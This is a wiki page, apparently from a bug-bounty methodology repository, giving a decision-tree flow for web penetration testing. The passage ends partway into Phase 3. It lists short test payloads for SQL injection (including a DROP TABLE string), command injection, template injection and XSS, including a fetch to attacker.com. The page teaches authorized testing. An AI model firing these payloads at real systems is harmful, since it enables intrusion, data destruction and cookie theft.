Skip to content

The Master Attack Flow

Abdul Wahab Junaid edited this page May 1, 2026 · 1 revision

The Master Attack Flow

A "choose your own adventure" methodology for web application penetration testing. Follow the decision trees to identify which vulnerabilities to test based on what you observe. Every path leads to specific methodologies and cheatsheets in this repository.


πŸ“‹ Table of Contents


🧭 How to Use This Flow

The Decision Tree Format

Each section presents a scenario you might encounter during testing. Follow the branches:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚   WHAT DO YOU SEE?      β”‚
β”‚                         β”‚
β”‚   [Observation]         β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
             β”‚
    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”
    β–Ό                 β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ YES β†’  β”‚     β”‚ NO β†’ Move  β”‚
β”‚ Test:  β”‚     β”‚ to next    β”‚
β”‚ [Vuln] β”‚     β”‚ section    β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Icons Guide

Icon Meaning
πŸ”΄ Critical β€” test immediately
🟠 High priority
🟑 Medium priority
🟒 Low priority / situational
πŸ“‹ Checklist item
πŸ”— Links to methodology
⚑ Quick win potential

Before You Begin

Prerequisites:

  • Target is in scope for your bug bounty program
  • You have explicit written authorization to test
  • Reconnaissance is complete (subdomains mapped, live hosts identified)
  • Technology stack is identified (use resources/cheatsheets/web-penetration.md)

Reference: Use Getting Started Guide for Bug Hunters to set up your environment before following this flow.


πŸ” Phase 1: Initial Reconnaissance

Before diving into specific attacks, map the application's surface area.

Decision Tree: What Type of Application Is This?

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚           INITIAL APPLICATION ASSESSMENT                     β”‚
β”‚           "What am I looking at?"                            β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                            β”‚
        β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
        β–Ό                   β–Ό                   β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Modern SPA?   β”‚   β”‚ Traditional   β”‚   β”‚ API-Only      β”‚
β”‚ (React, Vue,  β”‚   β”‚ Server-Render β”‚   β”‚ Backend?      β”‚
β”‚  Angular)     β”‚   β”‚ (PHP, .NET,   β”‚   β”‚ (REST,        β”‚
β”‚               β”‚   β”‚  Rails)       β”‚   β”‚  GraphQL)     β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜
        β”‚                   β”‚                   β”‚
        β–Ό                   β–Ό                   β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Focus on:     β”‚   β”‚ Focus on:     β”‚   β”‚ Focus on:     β”‚
β”‚ β€’ API calls   β”‚   β”‚ β€’ Forms       β”‚   β”‚ β€’ Endpoints   β”‚
β”‚ β€’ JWT tokens  β”‚   β”‚ β€’ Cookies     β”‚   β”‚ β€’ Auth tokens β”‚
β”‚ β€’ CORS        β”‚   β”‚ β€’ Sessions    β”‚   β”‚ β€’ Rate limits β”‚
β”‚ β€’ CSP         β”‚   β”‚ β€’ CSRF        β”‚   β”‚ β€’ IDOR        β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Reconnaissance Checklist

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                   RECON CHECKLIST                            β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ πŸ“‹ Crawl the application (use: Crawling and Fuzzing.md)     β”‚
β”‚ πŸ“‹ Identify all endpoints and parameters                    β”‚
β”‚ πŸ“‹ Map API routes (use: API Penetration.md)                 β”‚
β”‚ πŸ“‹ Check for GraphQL endpoint (use: GraphQL.md)             β”‚
β”‚ πŸ“‹ Identify tech stack (server, framework, CDN)             β”‚
β”‚ πŸ“‹ Check for hidden vhosts (use: VHost.md)                  β”‚
β”‚ πŸ“‹ Look for exposed .git, .env, config files                β”‚
β”‚ πŸ“‹ Check robots.txt, sitemap.xml for hidden paths           β”‚
β”‚ πŸ“‹ Review JavaScript files for endpoints and secrets        β”‚
β”‚ πŸ“‹ Test for broken links (use: Exploit Broken Links.md)     β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

πŸ”— Start Here: methodologies/web penetration/Crawling and Fuzzing β€” before attacking, know your target.


πŸ” Phase 2: Authentication & Session Attacks

Every application has authentication. These attacks exploit how users log in and stay logged in.

Decision Tree: What Authentication Do You See?

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚              AUTHENTICATION OBSERVED                         β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                            β”‚
        β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
        β–Ό                   β–Ό                   β–Ό                   β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Login Form    β”‚   β”‚ OAuth / SSO   β”‚   β”‚ JWT Tokens    β”‚   β”‚ MFA / 2FA     β”‚
β”‚ (Email/       β”‚   β”‚ (Google,      β”‚   β”‚ (Bearer       β”‚   β”‚ (TOTP, SMS,   β”‚
β”‚  Password)    β”‚   β”‚  GitHub,      β”‚   β”‚  tokens)      β”‚   β”‚  Push)        β”‚
β”‚               β”‚   β”‚  SAML)        β”‚   β”‚               β”‚   β”‚               β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜
        β”‚                   β”‚                   β”‚                   β”‚
        β–Ό                   β–Ό                   β–Ό                   β–Ό

πŸ”΄ Path A: Login Form Detected

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚              LOGIN FORM β†’ TEST FOR...                        β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                              β”‚
β”‚  πŸ”΄ SQL INJECTION                                            β”‚
β”‚  └─ Test: ' OR 1=1-- -, '; DROP TABLE users;--              β”‚
β”‚  └─ πŸ”— SQL Injection.md                                     β”‚
β”‚  └─ ⚑ Quick Win: Admin bypass with ' OR '1'='1              β”‚
β”‚                                                              β”‚
β”‚  πŸ”΄ BRUTE FORCE                                              β”‚
β”‚  └─ Test: Common passwords, username as password             β”‚
β”‚  └─ πŸ”— Bruteforcing.md                                      β”‚
β”‚  └─ ⚑ Quick Win: admin:admin, test:test, guest:guest        β”‚
β”‚                                                              β”‚
β”‚  🟠 USERNAME ENUMERATION                                     β”‚
β”‚  └─ Test: Different error messages for user vs password      β”‚
β”‚  └─ Check: Response timing differences                      β”‚
β”‚  └─ Check: Password reset form reveals valid users           β”‚
β”‚                                                              β”‚
β”‚  🟠 NO SQL INJECTION                                         β”‚
β”‚  └─ Test: {"$gt":""}, {"$ne":null}                          β”‚
β”‚  └─ πŸ”— NoSQL Injection Vulnerabilities.md (web technologies) β”‚
β”‚                                                              β”‚
β”‚  🟑 SESSION FIXATION                                         β”‚
β”‚  └─ Test: Does session token change after login?             β”‚
β”‚  └─ πŸ”— Session Fixation.md                                  β”‚
β”‚                                                              β”‚
β”‚  🟑 HTTP PARAMETER POLLUTION                                 β”‚
β”‚  └─ Test: Duplicate parameters in login request              β”‚
β”‚  └─ πŸ”— HTTP Parameter Pollution.md                           β”‚
β”‚                                                              β”‚
β”‚  🟒 RACE CONDITION ON LOGIN                                  β”‚
β”‚  └─ Test: Concurrent login requests                          β”‚
β”‚  └─ πŸ”— Exploiting Race Conditions.md                         β”‚
β”‚                                                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Attack Sequence for Login Forms:

  1. First: Test for SQL Injection (highest impact)
  2. Then: Attempt brute force with common credentials
  3. Next: Check for username enumeration
  4. Finally: Test session handling after login

🟠 Path B: OAuth / SSO Detected

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚              OAUTH / SSO β†’ TEST FOR...                       β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                              β”‚
β”‚  🟠 REDIRECT URI MANIPULATION                                β”‚
β”‚  └─ Test: redirect_uri=https://attacker.com                  β”‚
β”‚  └─ Test: redirect_uri=https://target.com.attacker.com       β”‚
β”‚  └─ πŸ”— OAuth.md (web penetration)                           β”‚
β”‚  └─ πŸ”— OAuth Exploitation.md (web technologies)              β”‚
β”‚                                                              β”‚
β”‚  🟠 AUTHORIZATION CODE INJECTION                             β”‚
β”‚  └─ Test: Inject attacker's code into victim's flow          β”‚
β”‚  └─ πŸ”— OAuth.md                                             β”‚
β”‚                                                              β”‚
β”‚  🟠 STATE PARAMETER MISSING                                  β”‚
β”‚  └─ Test: CSRF on OAuth authorization request               β”‚
β”‚  └─ πŸ”— CSRF.md                                              β”‚
β”‚                                                              β”‚
β”‚  🟑 OPENID CONNECT MISCONFIGURATION                          β”‚
β”‚  └─ Test: ID token manipulation, alg:none                    β”‚
β”‚  └─ πŸ”— Open ID Connect.md                                   β”‚
β”‚                                                              β”‚
β”‚  🟑 IMPLICIT GRANT EXPLOITATION                              β”‚
β”‚  └─ Test: Token leakage in URL fragments                    β”‚
β”‚  └─ πŸ”— OAuth Exploitation.md                                β”‚
β”‚                                                              β”‚
β”‚  🟒 SCOPE ESCALATION                                         β”‚
β”‚  └─ Test: Add additional scopes to authorization request    β”‚
β”‚  └─ πŸ”— OAuth.md                                             β”‚
β”‚                                                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

🟠 Path C: JWT Tokens Detected

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚              JWT TOKENS β†’ TEST FOR...                        β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                              β”‚
β”‚  🟠 ALGORITHM CONFUSION                                      β”‚
β”‚  └─ Test: Change alg to "none", remove signature            β”‚
β”‚  └─ Test: Change RS256 to HS256, sign with public key       β”‚
β”‚  └─ πŸ”— JWT.md                                               β”‚
β”‚                                                              β”‚
β”‚  🟠 SIGNATURE BYPASS                                         β”‚
β”‚  └─ Test: Empty signature, invalid signature                β”‚
β”‚  └─ πŸ”— JWT.md                                               β”‚
β”‚                                                              β”‚
β”‚  🟠 KEY INJECTION                                            β”‚
β”‚  └─ Test: jwk header, jku header, kid injection             β”‚
β”‚  └─ πŸ”— JWT.md                                               β”‚
β”‚                                                              β”‚
β”‚  🟑 TOKEN EXPIRY BYPASS                                      β”‚
β”‚  └─ Test: Modify exp claim, use expired tokens              β”‚
β”‚  └─ πŸ”— JWT.md                                               β”‚
β”‚                                                              β”‚
β”‚  🟑 PRIVILEGE ESCALATION VIA CLAIMS                          β”‚
β”‚  └─ Test: Modify role, admin, scope claims                  β”‚
β”‚  └─ πŸ”— JWT.md + IDOR.md                                     β”‚
β”‚                                                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

🟑 Path D: MFA / 2FA Detected

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚              MFA / 2FA β†’ TEST FOR...                         β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                              β”‚
β”‚  🟠 MFA BYPASS VIA DIRECT ENDPOINT ACCESS                    β”‚
β”‚  └─ Test: Access /dashboard directly without MFA            β”‚
β”‚  └─ πŸ”— MFA-2FA Exploitation.md                              β”‚
β”‚                                                              β”‚
β”‚  🟠 MFA BYPASS VIA RESPONSE MANIPULATION                     β”‚
β”‚  └─ Test: Change 2fa_required:true to false                 β”‚
β”‚  └─ πŸ”— MFA-2FA Exploitation.md                              β”‚
β”‚                                                              β”‚
β”‚  🟑 MFA CODE BRUTE FORCE                                     β”‚
β”‚  └─ Test: 000000-999999 (if no rate limiting)               β”‚
β”‚  └─ πŸ”— Bruteforcing.md + MFA-2FA Exploitation.md            β”‚
β”‚                                                              β”‚
β”‚  🟑 MFA FATIGUE / PUSH BOMBING                               β”‚
β”‚  └─ Test: Repeated push notifications                      β”‚
β”‚  └─ πŸ”— MFA-2FA Exploitation.md                              β”‚
β”‚                                                              β”‚
β”‚  🟒 BACKUP CODE ENUMERATION                                  β”‚
β”‚  └─ Test: Predictable backup code format                    β”‚
β”‚  └─ πŸ”— MFA-2FA Exploitation.md                              β”‚
β”‚                                                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

⌨️ Phase 3: Input-Based Attacks

Every input field is an opportunity. This is the largest attack surface in any application.

Decision Tree: What Type of Input Do You See?

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚              INPUT TYPE OBSERVED                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                            β”‚
        β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
        β–Ό                   β–Ό                   β–Ό                   β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Search        β”‚   β”‚ User-         β”‚   β”‚ API Request   β”‚   β”‚ File Upload   β”‚
β”‚ Bar / Filter  β”‚   β”‚ Supplied Data β”‚   β”‚ Parameters    β”‚   β”‚ Function      β”‚
β”‚               β”‚   β”‚ (Profile,     β”‚   β”‚ (REST,        β”‚   β”‚               β”‚
β”‚               β”‚   β”‚  Comments,    β”‚   β”‚  GraphQL)     β”‚   β”‚               β”‚
β”‚               β”‚   β”‚  Posts)       β”‚   β”‚               β”‚   β”‚               β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜
        β”‚                   β”‚                   β”‚                   β”‚
        β–Ό                   β–Ό                   β–Ό                   β–Ό

πŸ”΄ Path A: Search Bar / Filter β†’ Injection Attacks

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚         SEARCH / FILTER INPUT β†’ TEST FOR...                  β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                              β”‚
β”‚  πŸ”΄ SQL INJECTION                                            β”‚
β”‚  └─ Test: ' OR 1=1-- -, ' UNION SELECT 1,2,3--              β”‚
β”‚  └─ πŸ”— SQL Injection.md                                     β”‚
β”‚  └─ ⚑ Quick Win: Look for database errors                   β”‚
β”‚                                                              β”‚
β”‚  πŸ”΄ XSS (REFLECTED)                                          β”‚
β”‚  └─ Test: <script>alert(1)</script>                         β”‚
β”‚  └─ Test: "><img src=x onerror=alert(1)>                     β”‚
β”‚  └─ πŸ”— xss.md                                               β”‚
β”‚  └─ ⚑ Quick Win: Search term reflected in page?             β”‚
β”‚                                                              β”‚
β”‚  🟠 COMMAND INJECTION                                        β”‚
β”‚  └─ Test: ; id, | whoami, $(whoami)                         β”‚
β”‚  └─ πŸ”— Injection Exploitation.md                            β”‚
β”‚                                                              β”‚
β”‚  🟠 SSTI (TEMPLATE INJECTION)                                β”‚
β”‚  └─ Test: {{7*7}}, ${7*7}, <%= 7*7 %>                      β”‚
β”‚  └─ πŸ”— SSTI.md                                              β”‚
β”‚  └─ ⚑ Quick Win: Math expressions evaluate?                 β”‚
β”‚                                                              β”‚
β”‚  🟑 LDAP INJECTION                                           β”‚
β”‚  └─ Test: *)(uid=*))(|(uid=*                                β”‚
β”‚  └─ πŸ”— Injection Exploitation.md                            β”‚
β”‚                                                              β”‚
β”‚  🟑 XPATH INJECTION                                          β”‚
β”‚  └─ Test: ' or '1'='1, '] | //user[name/text()='            β”‚
β”‚  └─ πŸ”— Injection Exploitation.md                            β”‚
β”‚                                                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Differential Diagnosis for Search Bars:

If You See... It Might Be... Test This
Database errors SQL Injection ' OR 1=1--
Your input reflected in HTML Reflected XSS <script>alert(1)</script>
Math calculations executed SSTI {{7*7}}
System command output Command Injection ; whoami
LDAP error messages LDAP Injection *)(uid=*

🟠 Path B: User-Supplied Content β†’ Stored Attacks

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚    USER CONTENT (PROFILE, COMMENTS, POSTS) β†’ TEST FOR...    β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                              β”‚
β”‚  πŸ”΄ STORED XSS                                               β”‚
β”‚  └─ Test: <script>alert(document.cookie)</script>           β”‚
β”‚  └─ Test: <img src=x onerror=fetch('https://attacker.com')> β”‚
β”‚  └─ πŸ”— xss.md                                               β”‚
β”‚  └─ ⚑ Quick Win: Profile fields, comment sections           β”‚
β”‚                                                              β”‚
β”‚  πŸ”΄ SQL INJECTION (SECOND-ORDER)                             β”‚
β”‚  └─ Test: Inject in profile, triggers on admin panel        β”‚
β”‚  └─ πŸ”— SQL Injection.md                                     β”‚
β”‚                                                              β”‚
β”‚  🟠 HTML INJECTION                                           β”‚
β”‚  └─ Test: <h1>Test</h1>, <a href="https://evil.com">Click   β”‚
β”‚  └─ πŸ”— xss.md (if script tags blocked)                      β”‚
β”‚                                                              β”‚
β”‚  🟠 FILE UPLOAD IN COMMENTS (if attachments allowed)         β”‚
β”‚  └─ Test: Upload .php, .jsp, .asp as "image"               β”‚
β”‚  └─ πŸ”— File Upload Vulnerabilities.md                       β”‚
β”‚                                                              β”‚
β”‚  🟑 CRLF INJECTION IN HEADERS (via user input)               β”‚
β”‚  └─ Test: %0d%0aSet-Cookie: session=attacker                β”‚
β”‚  └─ πŸ”— CRLF Injection.md                                    β”‚
β”‚                                                              β”‚
β”‚  🟑 PROTOTYPE POLLUTION (if JavaScript-heavy app)            β”‚
β”‚  └─ Test: __proto__[isAdmin]=true                           β”‚
β”‚  └─ πŸ”— Prototype Pollution.md                               β”‚
β”‚                                                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

🟠 Path C: API Parameters β†’ Object & Logic Attacks

